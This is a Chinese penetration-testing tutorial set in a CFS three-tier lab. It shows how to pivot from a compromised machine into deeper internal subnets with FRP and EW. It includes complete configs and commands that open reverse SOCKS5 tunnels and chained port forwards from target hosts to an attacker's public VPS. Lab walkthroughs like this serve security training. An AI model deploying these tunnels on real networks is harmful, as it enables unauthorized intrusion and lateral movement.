内网渗透建立代理通道(如何攻击目标内网机器?)-Socks代理(゚益゚メ) 渗透测试

2023-05-16

文章目录

  • 搭建靶场
    • 配置虚拟机网络
    • 虚拟机
    • 上线目标1(Target1)
  • Socks代理
    • 简介
      • 正向代理
      • 反向代理
    • FRP
      • 一层代理
      • 二层代理(多层代理)
    • EW
      • 正向代理
      • 反向代理
      • 二层代理流量转发
      • 三层代理

搭建靶场

配置虚拟机网络

这里我用的是最常见的VMware Workstation虚拟机软件,我们先做一个内部的网络环境
在这里插入图片描述

在这里插入图片描述

虚拟机

我这里是使用的是CFS三层靶机环境
下载链接:https://pan.baidu.com/s/1n2i6Tr2lXC_T8kSEJFcBsA
提取码:ni2v
我发现网上的方法吧DHCP(虚拟网络编辑器中)关掉后我的靶机就无法获取到IP地址了,所以我又开启了这里的DHCP。这里IP需要和说明一样,要不然会影响使用!但后面又发现自动分配的IP无法正常访问页面,这里需要使用一些小技巧,将我们要访问的IP设置为开始IP,这样一开始就能被分配上,我们就可以正常使用了!(这里目标一的网络还是和指定的IP端不一样,但我并不准备演示web攻击这些,所以这些无关紧要。)
在这里插入图片描述

尝试一下通网段能互相ping通即可,我当前的网络环境如下图所示!
在这里插入图片描述

下面我会用我的一个公网(43.128.11.131)VPS或者一台虚拟机中的kali(192.168.1.200)作为我的攻击机来使用。

上线目标1(Target1)

因为本博客主要是写内网通道代理的,所以我这里就直接用msf上线目标一了(这里假设目标一的PC已经完全被攻陷了),我们现在的目标是通过外网主机连接到目标二和目标三。

Socks代理

简介

Socks这种代理使用的非常广泛,他是基于TCP协议的一种代理方式。大多数应用甚至系统中我们都可以设置Socks代理,我们在火狐或者谷歌浏览器中也都能找到Socks代理功能,这里就来介绍如果开启这种代理。
在这里插入图片描述

正向代理

正向代理是目标机器开启代理程序后,我们不需要其他机器作为中转,之间就可以通过代理设置连接。不过一般需要目标机器有公网IP,或者能直连到目标机器网络的机器作为攻击机

反向代理

反向代理在内网渗透中一般会更加常用,这种代理一般是需要我们一个有公网IP的服务器作为类似于中转站的工具,让目标先和我们的服务器和目标建立连接后,直接使用我们公网IP即可连接到目标服务器。这种代理方式相比于正向代理,用途更加广泛,并且安全性也较高。
在这里插入图片描述

FRP

FRP工具开源地址: https://github.com/fatedier/frp/releases
FRP工具官方文档: https://gofrp.org/docs/
FRP功能很强大,支持的代理方式也非常多,可以通过官方文档自行查看,当前这里主要介绍FRP会用Socks5进行的代理操作
首先我们将FRP下载到我们的攻击机,可以直接复制我下方的命令(这里我把版本写死了,你可以进一下工具的git看一下最新版,然后修改一下下载和解压命令即可)

mkdir frp
cd frp
wget https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz
tar -zxvf frp_0.36.2_linux_amd64.tar.gz

下载解压后,我们可以看一下压缩包内的文件主要有两类,一类是frp的客户端程序(frpc),一类是frp的服务端程序(frps)
在这里插入图片描述
一般FRP我们使用的都是反向代理,是先用客户端去连接服务端,所以我们在攻击机中一般是启用服务端程序,而客户端是放在目标机器中启动的,其中.ini是我们的配置文件。
从上图中我们也可以看出,配置文件一般会有中括号括起来的和类似字典形式的两种格式,其中中括号类似于注释,而字典一样的键值对则是需要我们配置的选项。

一层代理

在一层代理中,我们只需要使用一个bind_port参数进行端口绑定即可。这里我选择绑定到我们的7000端口上。

# 攻击端(服务端)
echo [common] >> frps_vps.ini
## 这里是在服务端绑定一个7000端口,这样我们的frps就会一直监听者这个端口等待来连接
echo "bind_tcp = 7000" >> frps_vps.ini
./frps -c frps_vps.ini


# 目标端(客户端)
vim frpc_1.ini
# 这里东西比较多,我就直接用vim编辑了
[common]
## 这里树服务器的地址
server_addr = 43.128.11.131
## 这里是服务器监听的端口(这个端口用来连接的是攻击端中frps这个服务的)
server_port = 7000
[socks5]
## 指定使用的类型(支持udp)
type = tcp
## 使用的协议(socks4或者http等谢谢frp都是支持的!)
plugin = socks5
## 这个端口是用来开代理使用的端口!
remote_port = 10088

在这里插入图片描述
使用代理软件代理后成功获取到目标内网!
在这里插入图片描述

在这里插入图片描述
可以使用一些工具的代理,直接对目标内网机器进行渗透操作!
在这里插入图片描述

二层代理(多层代理)

只要看懂二层代理,三层,四层等都是类似的方法。
这里我们就假设,已经拿到了目标的root用户的密码,这里通过ssh直接进行登陆。
在这里插入图片描述
这里我们先把frp传输到目标二中
在这里插入图片描述

# 攻击端、服务端(这里攻击端的设置和上方一层代理时类似,只需要监听一个端口等待客户端连接就可以,这里我们还是监听七千端口)
echo [common] >> frps_vps.ini
## 这里是在服务端绑定一个7000端口,这样我们的frps就会一直监听者这个端口等待来连接
echo "bind_tcp = 7000" >> frps_vps.ini
./frps -c frps_vps.ini

# 目标一
## 这里目标一建立的客户端和上方所有不同,需要进行一个端口转发,将连接到此端口的机器转发到目标二中
vim frpc_22.ini

[common]
server_addr = 43.128.11.131
server_port = 7000
## 这里还是开启一个10088的端口用来连接当前这个内网机器
[socks5_to_1]
type = tcp
remote_port = 10088
plugin = socks5
## 用来开启一个端口转发,将连接到10089这个端口记得机器转发到10090这个端口
[socks5_to_22]
type = tcp
local_ip = 127.0.0.1
## 这里是重定向,将目标一中的10089端口重定向绑定到10090端口
local_port = 10089
## 这个10090是我们之后要使用的代理端口
remote_port = 10090

## 同时在目标一种开启一个服务端做监听
vim frps_1.ini

[common]
bind_port = 7000

# 这里&是后台运行的意思
./frpc -c frpc_22.ini &
./frps -c frps_1.ini


# 目标二
[common]
## 这里是目标一的22网段的IP地址
server_addr = 192.168.22.23
server_port = 7000
[socks5_33]
type = tcp
plugin = socks5
remote_port = 10089

在这里插入图片描述
在这里插入图片描述
完成上述操作后,我们只需要将代理改成socks5://43.128.11.131:10090即可对目标进行扫描
在这里插入图片描述
然后我们就可以使用相关漏洞对目标在进行下一层的渗透。到第四层之后我们的渗透都是类似的套路,先开启一个端口转发,在将目标端口一层一层转发出来即可。
在这里插入图片描述
PS:我上述的操作连接10088端口会进入目标1机器的代理中,连接10090会进入目标二机器的代理中!

EW

EW原文档,但作者因为EW被滥用,原作者已经下架了该工具的开源地址,并提供了检测机制。
EW下载地址: https://github.com/idlefire/ew
不过虽然原作者下架了,还是有其他人将其最后一版开源放出来了。
EW开发的初衷就是为了做渗透测试去使用,所以这个工具虽然只支持socks5协议代理,但既支持正向代理,又支持反向代理。

ew参数英文作用
-sstate状态设置函数。从下面中选一个: ssocksd(正向代理),rcsocks(反向代理,流量转发),rssocks(反向代理,反弹socks5), lcx_listen(反向代理,流量转发), lcx_tran(端口转发), lcx_slave(端口绑定)
-llistenport为服务启动打开一个端口。(这里指定的一般就是我们socks连接的端口!)
-drefhost设置反向代理主机地址。
-erefport设置反向代理端口。
-fconnhost设置正向代理主机地址。
-gconnport设置正向代理端口。
-hhelp显示帮助文本,通过添加-s参数,还可以看到更详细的帮助。
-aabout显示关于页面。
-vversion显示版本。
-tusectime设置超时的毫秒数。默认值1000
# 首先我们将这一长串名字改成ew(这里系统对应的程序改的!),方便使用
cp ew_for_linux64 ew
# 赋予文件权限,方便后面执行
chmod 777 ew

正向代理

我们使用ssocksd开启正向代理后,可以直接通过代理程序连接后访问目标网络。

# 使用正向代理后直接就可以通过代理连接
./ew -s ssocksd -l 1888

在这里插入图片描述

反向代理

# 攻击机
./ew -s rcsocks -l 1888 -e 7788
# 目标机
./ew -s rssocks -d 43.128.11.131 -e 7788

在这里插入图片描述

二层代理流量转发

首先我们在目标二中执行正向代理程序,然后在使用能直连到目标二的目标一机器开启一个流量转发,将目标二的正向代理通过此通道转发到我们的服务器中即可!
在这里插入图片描述

# 服务器(VPS: 43.128.11.131) lcx_listen : 反向代理,流量转发
./ew -s lcx_listen -l 4578 -e 4888
# 目标一(192.168.1.108) lcx_slave : 端口绑定
./ew -s lcx_slave -d 43.128.11.131 -e 4888 -f 192.168.22.22 -g 4455
# 目标二(192.168.22.22) ssocksd : 正向代理
./ew -s ssocksd -l 4455

在这里插入图片描述

三层代理

上述的方法并不适用于三层以上的代理,如果想要使用三层及其以上的代理还是需要我们使用反向代理来进行连接,首先我们把目标三使用sockets反向代理连接到我们的目标二,在目标二开启一个流量转发,将目标三的流量转发到目标一中,再将目标一中的目标绑定到我们的公网服务器中的一个端口并且使用反向代理将端口转发出来一共我们连接。

在这里插入图片描述

# 服务器
./ew -s rcsocks -l 43128 -e 11131
# 目标一
./ew -s lcx_slave -d 43.128.11.131 -e 11131 -f 192.168.22.22 -g 2222
# 目标二
./ew -s lcx_listen -l 2222 -e 3322
# 目标三(这里因为是Windows的cmd中执行的所以不能带./,如果是powershell就可以带,具体带不带看你的系统和使用的命令行了)
ew -s rssocks -d 192.168.33.22 -e 3322

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

内网渗透建立代理通道(如何攻击目标内网机器?)-Socks代理(゚益゚メ) 渗透测试 的相关文章

  • vscode 编码格式配置及保存(统一工程的编码格式,防止中文注释乱码)

    使用 VSCode 统一工程的编码格式 打开不同编码格式的文件 xff0c 点击右下角编码格式 xff0c 通过不同的编码来保存 xff0c 防止更改编码格式时导致中文注释乱码
  • CentOS7安装oracle12G调不出图形化界面

    问题 xff1a centos如果无图形化界面 xff0c 在安装oracle xff0c 调用图形化界面时会遇到问题 xff0c 报错为 xff1a 无法使用命令 usr bin xdpyinfo 自动检查显示器颜色 请检查是否设置了 D
  • STM32外围电路硬件解析

    复位电路 xff1a 复位 xff1a 让MCU回到最开始的状态 并且从头开始 xff0c 重新执行程序 我们什么时候需要复位 xff1f 1 烧录的时候 2 程序跑飞了的时候 3 上电复位 xff08 上电的时候需要复位 xff09 复位
  • stm32f103——中断——UART中断服务函数

    在程序中 xff0c CPU对外界突发事件进行处理的方式又两种 xff1a 1 轮询系统 xff1a xff08 在main中 xff0c 使用while循环 xff0c 进行循环判断外界事物是否发生 xff09 while xff08 1
  • Docker快速入门,看这个就够了

    Docker快速入门 一 Docker介绍1 1 Docker背景1 2 Docker概念1 3 Docker的优势1 4 Docker的三个基本概念 二 Docker的安装和使用2 1 安装依赖包2 2 安装Docker 三 启动Dock
  • Kubernetes(K8S)集群部署搭建图文教程(最全)

    Kubernetes 集群安装 前期准备集群安装系统初始化Harbor采取私有的仓库去镜像使用集群检测集群功能演示 前期准备 第一步 xff1a Router软路由构建 第二步 xff1a centos7安装 5台 xff08 自行安装 x
  • 【STM32-HAL库】一步步搭建出FOC矢量控制(附C代码)

    说明 本文为无刷电机或PMSM电机驱动的简易代码 xff0c 旨在分享一些个人调试过程的小心得 xff0c 提供一个demo文件 xff0c 程序仍有许多不完善的地方 xff0c 建立起个人的FOC底层驱动 xff0c 可以帮助快速熟悉FO
  • Ubuntu整个系统迁移到其他盘办法

    Ubuntu整个系统迁移到其他盘办法 一 xff1a 制作U盘启动器 xff0c 刻录Ubuntu系统 从U盘引导进入系统 xff0c 点击 xff1a try Ubuntu without install选项 二 xff1a 把需要迁移的
  • 四旋翼无人机飞控系统设计(基础知识篇)

    飞行原理 四旋翼的结构组装有十字模式和X模式之分 xff0c 两者的基本原理一致 xff0c 方向结构不同 xff0c 都是通过四个电机的组合状态进行控制姿态飞行 xff0c 而十字型四旋翼机头是对准其中一个电机的 xff0c X型的四旋翼
  • 大数据组件-Maxwell常用命令(持续更新完善)

    Download Download binary distro https github com zendesk maxwell releases download v1 33 0 maxwell 1 33 0 tar gz Sources
  • 【px4编译】make px4fmu-v3_default upload 不能使用

    今天遇到编译pixhawk2代固件无法upload的问题 xff0c 出现TypeError a bytes like object is required not str xff0c 在1代中是可以make upload的 ninja E
  • 【PX4代码】关于px4代码中timestamp与gps_itow的时间问题

    gps的输出频率为5hz xff0c 由此可见timestamp应该是113248090 1e 6转换为s xff0c 由次可见gps的itow时间应该为271998999 1e 3转换为s 总结 px4中的时间为cpu应该除以10 6 x
  • 【PX4代码】关于ekf2输出频率只有1ohz的问题

    问题 我在使用的是pixhawk 2代 imu的输出频率都在100hz以上 xff0c 使用的gps模块输出频率为5hz xff0c 使用log的local position csv 查看ekf2估计输出的点位信息只有10hz xff0c
  • Keil4中C51的debug调试步骤技巧

    1 选择相应的调试仿真连接器 xff1a 选择 xff1a project gt Options for Target 如下图所示 xff1a 然后在弹出对话框的Debug选项下选择仿真器的型号 xff1a 2 进入调试 xff1a 3 部
  • 怎么操作linux服务器

    Linux 服务器就是采用 Linux 系统的网络服务器 xff0c 同时也有采用 windows 的服务器 xff0c 作用是类似的 而 Linux 并不是一个特定的系统 xff0c 而是使用 Linux 内核的系统 xff0c 现在发行
  • 人工智能如何可以思考?

    近日在给同事讲人工智能的时候 xff0c 提到当数据量不够的时候 xff0c 必要时需要加入人工工程 xff0c 引导计算机 归纳 一些知识 xff0c 毕竟计算机智能比起人类智能 xff0c 最大的缺陷可能在于不懂得 举一反三 换句话说
  • bag文件内topic对应的frame_id查看指令

    启动ROS roscore 运行数据集 span class token comment 数据集小的话 xff0c 建议慢速播放 span rosbag play xxx span class token punctuation span
  • GPS数据类型(ROS)

    文章目录 一 传感器分类二 作用三 系统组成四 位置表示五 数据格式六 ROS中GPS数据格式sensor msgs NavSatFixROS中GPS数据主要包含这四类 xff0c 分别是gps 裸数据ros封装 xff0c 位置 xff0
  • cmake使用教程

    CMakeLists txt文档编写以及packsge xml文档介绍 CMakeLists txt文档一 cmake minimum required命令二 CMake中的编译类型三 cmake编译选项 xff08 与2对应 xff09
  • 四旋翼无人机飞控系统设计(闭环控制系统)

    对于一个简单的飞控程序来说 xff0c 控制器是它最核心的部分 xff0c 这里主要与大家讨论控制系统的基本理论知识 xff08 自控大佬请绕道 xff09 xff0c 包括控制系统概念 闭环控制系统的原理 下篇将侧重包含pid控制算法的具

随机推荐